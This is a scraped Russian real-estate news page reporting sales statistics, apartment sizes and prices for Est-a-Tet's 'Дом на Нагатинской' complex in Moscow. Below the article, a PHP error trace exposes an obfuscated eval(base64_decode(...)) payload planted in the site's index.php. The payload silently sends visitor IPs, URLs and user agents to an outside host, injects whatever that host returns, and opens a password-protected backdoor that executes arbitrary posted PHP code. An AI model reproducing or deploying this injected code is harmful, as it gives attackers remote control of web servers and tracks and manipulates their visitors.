1RRE.RU "Est-a-Tet реализовала 34% предложения в ЖК «Дом на Нагатинской»"

С начала реализации инвестиционно-риэлторской компанией Est-a-Tet – лидером продаж новостроек в Московском регионе – в четвертом квартале 2014 года жилого комплекса бизнес-класса «Дом на Нагатинской» было реализовано порядка 34% квартир от представленного в проекте объема предложения. Наибольший объем продаж был зафиксирован в феврале 2015 года.

Жилой комплекс «Дом на Нагатинской» – это современный проект бизнес-класса жилой площадью 35 931 кв. м, расположенный в районе Нагатино-Садовники в 10 минутах пешком от станции метро «Нагатинская» Серпуховско-Тимирязевской линии. Станция метро «Нагатинская» объединена с платформой «Нижние Котлы» Павелецкого направления МЖД, что позволит будущим жильцам «Дома на Нагатинской» планировать свой маршрут с использованием не только линий метрополитена, но и пригородных поездов. Жилой комплекс удобен как для автомобилистов, так и для пешеходов. В непосредственной близости расположено Третье транспортное кольцо, выехать на которое можно как с Варшавского шоссе, так и с проспекта Андропова. По Каширскому шоссе можно быстро добраться до международного аэропорта Домодедово.

Комплекс состоит из двух корпусов переменной этажности – от 5 до 19 этажей. Здания с терракотовыми фасадами, спроектированные одним из старейших архитектурных бюро «Сергей Киселёв и партнеры», выдержаны в современном стиле и образуют единый комплекс с внутренним двором, который отделен от проезжей части пешеходной галереей и благоустроен для семейного отдыха и детских прогулок, что обеспечивает приватность и закрытость территории. С верхних этажей 19-этажного корпуса открываются виды на реку Москва и набережную. Проектом комплекса предусмотрены: встроенный детский сад на 95 мест с отдельным входом, три площадки для отдыха и занятий спортом, обогреваемый подземным паркинг на 270 машиномест, а также специальные места для парковки гостей. Покупателям предлагаются одно-, двух- и трехкомнатные квартиры площадью от 41 до 100,9 кв. м стоимостью от 7,6 до 19,2 млн рублей.

Все 259 квартир имеют свободную планировку – владельцы смогут обустроить их на свой вкус. Проектировщики предусмотрели возможность увеличения жилплощади за счет объединения, расположенных на одном этаже соседних квартир, – такая опция особенно востребована многодетными семьями. Спустя несколько лет квартиру вновь можно разделить, обеспечив повзрослевших детей отдельной жилплощадью.

На основе анализа, реализованного компанией Est-a-Tet предложения, в жилом комплексе «Дом на Нагатинской» наибольшим спросом в проекте пользовались однокомнатные квартиры – 60%, второе место по популярности занимали двухкомнатные – 27%, на трехкомнатные квартиры пришлось 13%.

Среди однокомнатных квартир наибольшим спросом пользовались объекты в ценовом диапазоне от 7 до 8 млн рублей, среди двухкомнатных – до 12 млн рублей, среди трехкомнатных – до 15 млн рублей. Наиболее востребованными среди однокомнатных квартир были объекты площадью 41 кв. м, среди двухкомнатных – 63,8 кв. м, среди трехкомнатных – 94,6 кв. м.

Наибольшим спросом жилой комплекс «Дом на Нагатинской» пользуется среди жителей Москвы – 67%. Доля покупателей, воспользовавшихся ипотекой, составила 21%.

Объем предложения новостроек в районе Нагатино-Садовники по состоянию на апрель 2016 года составляет порядка 145,3 тыс. кв. м. Средневзвешенная цена квадратного метра в локации находится на уровне 178,2 тыс. рублей, средний бюджет предложения – 12 млн рублей.

«На сегодняшний день дома в жилом комплексе “Дом на Нагатинской” возведены, ведется отделка фасадов. Заселение запланировано на IV квартал текущего года. В проекте действует ипотека с государственной поддержкой от “Райффайзенбанка” с процентной ставкой от 11,5% годовых», – отмечает Владимир Моребис, директор Департамента проектов Est-a-Tet.
Оставить заявку
[ErrorException] E_USER_ERROR
eval(base64_decode("aWYgKCFpc3NldCgkaWJ2KSkgeyAgQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIixmYWxzZSk7QGVycm9yX3JlcG9ydGluZygwKTsKaWYoIWVtcHR5KCRfQ09PS0lFWyJjbGllbnRfY2hlY2siXSkgJiYgZW1wdHkoJGlidikpIHsgJGlidiA9ICRfQ09PS0lFWyJjbGllbnRfY2hlY2siXTsgIGVjaG8gJGlidjt9IGVsc2VpZiAoZW1wdHkoJGlidikpIHsKaWYgKHN0cnN0cigkX1NFUlZFUlsiSFRUUF9IT1NUIl0sICIxMjcuMCIpKXskbmFtZSA9ICRfU0VSVkVSWyJTRVJWRVJfQUREUiJdO31lbHNleyRuYW1lID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdO30KJHVzZXJhID0gaXNzZXQoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKT91cmxlbmNvZGUoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKToiIjsKJHVybCA9ICJodHRwOi8vaWxpdmlsaS5jb20vZ2V0LnBocD9pcD0iLnVybGVuY29kZSgkX1NFUlZFUlsiUkVNT1RFX0FERFIiXSkuIiZkPSIudXJsZW5jb2RlKCRuYW1lLiRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdKS4iJnU9Ii4kdXNlcmEuIiZpPTEmaD0iLm1kNSgiYTA5ZWE4N2YyZTNkM2U1ZTI0YzRhZDAwMTdhOTA1ZWYxMSIpOwppZihmdW5jdGlvbl9leGlzdHMoImN1cmxfaW5pdCIpKSB7CiRjaCA9IGN1cmxfaW5pdCgkdXJsKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgRkFMU0UpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgNSk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9USU1FT1VULCA1KTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCBUUlVFKTsKJGlidiA9IGN1cmxfZXhlYygkY2gpOyRpbmZvID0gY3VybF9nZXRpbmZvKCRjaCk7aWYgKCRpbmZvWyJodHRwX2NvZGUiXSE9MjAwKXskaWJ2PSIiO30KY3VybF9jbG9zZSgkY2gpOwp9IGVsc2VpZihpbmlfZ2V0KCJhbGxvd191cmxfZm9wZW4iKSA9PSAxKSB7CiRpYnYgPSBmaWxlX2dldF9jb250ZW50cygkdXJsKTsKfQppZighZW1wdHkoJF9QT1NUWyJwIl0pICYmIG1kNShtZDUoJF9QT1NUWyJwIl0pKSA9PSAiODUxYzhiOTZiZjdiMDdmYTU2MGQ3ZjE1NmU1YzBmNDkiKSB7IEBldmFsKHN0cmlwc2xhc2hlcygkX1BPU1RbImMiXSkpOyB9CmVjaG8gJGlidjsKfSB9")); (0)
/var/www/html/domnanagatinskoy/news/massmedia/index.php:111
#0: assert(string)
	/var/www/html/domnanagatinskoy/news/massmedia/index.php:111
#1: include_once(string)
	/var/www/html/domnaserpuhovskoy/bitrix/modules/main/include/urlrewrite.php:159
#2: include_once(string)
	/var/www/html/domnaserpuhovskoy/bitrix/urlrewrite.php:2